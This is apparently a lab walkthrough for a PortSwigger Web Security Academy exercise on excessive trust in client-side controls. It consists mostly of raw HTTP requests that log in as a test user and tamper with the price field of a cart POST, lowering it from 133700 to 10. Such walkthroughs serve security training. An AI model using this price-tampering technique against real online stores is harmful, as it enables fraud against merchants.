Port Swigger Excessive trust in client side contro
Excessive trust in client-side controls
Solution
Login as user: wiener
POST /login HTTP/2
Host: 0af3005304914354818a3e1800b90076.web-security-academy.net
Cookie: session=rXHPCQbi3fTmD9lMYOrmyioEhMyb3tLh
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Origin: https://0af3005304914354818a3e1800b90076.web-security-academy.net
Referer: https://0af3005304914354818a3e1800b90076.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
csrf=psskE00sU9W5fqv1tqyIPEff6vTfiyqX&username=wiener&password=peter
---
GET /my-account?id=wiener HTTP/2
Host: 0af3005304914354818a3e1800b90076.web-security-academy.net
Cookie: session=uMVexzvmz6uHjDJ7H7MPLpuUDFOm6DgZ
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0af3005304914354818a3e1800b90076.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Change prince from 1337 to 0.10
OLD: productId=1&redir=PRODUCT&quantity=1&price=133700
NEW: productId=1&redir=PRODUCT&quantity=1&price=10
---
POST /cart HTTP/2
Host: 0af3005304914354818a3e1800b90076.web-security-academy.net
Cookie: session=uMVexzvmz6uHjDJ7H7MPLpuUDFOm6DgZ
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Origin: https://0af3005304914354818a3e1800b90076.web-security-academy.net
Referer: https://0af3005304914354818a3e1800b90076.web-security-academy.net/product?productId=1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
productId=1&redir=PRODUCT&quantity=1&price=133700
___
POST /cart HTTP/2
Host: 0af3005304914354818a3e1800b90076.web-security-academy.net
Cookie: session=uMVexzvmz6uHjDJ7H7MPLpuUDFOm6DgZ
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Origin: https://0af3005304914354818a3e1800b90076.web-security-academy.net
Referer: https://0af3005304914354818a3e1800b90076.web-security-academy.net/product?productId=1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
productId=1&redir=PRODUCT&quantity=1&price=10
Solved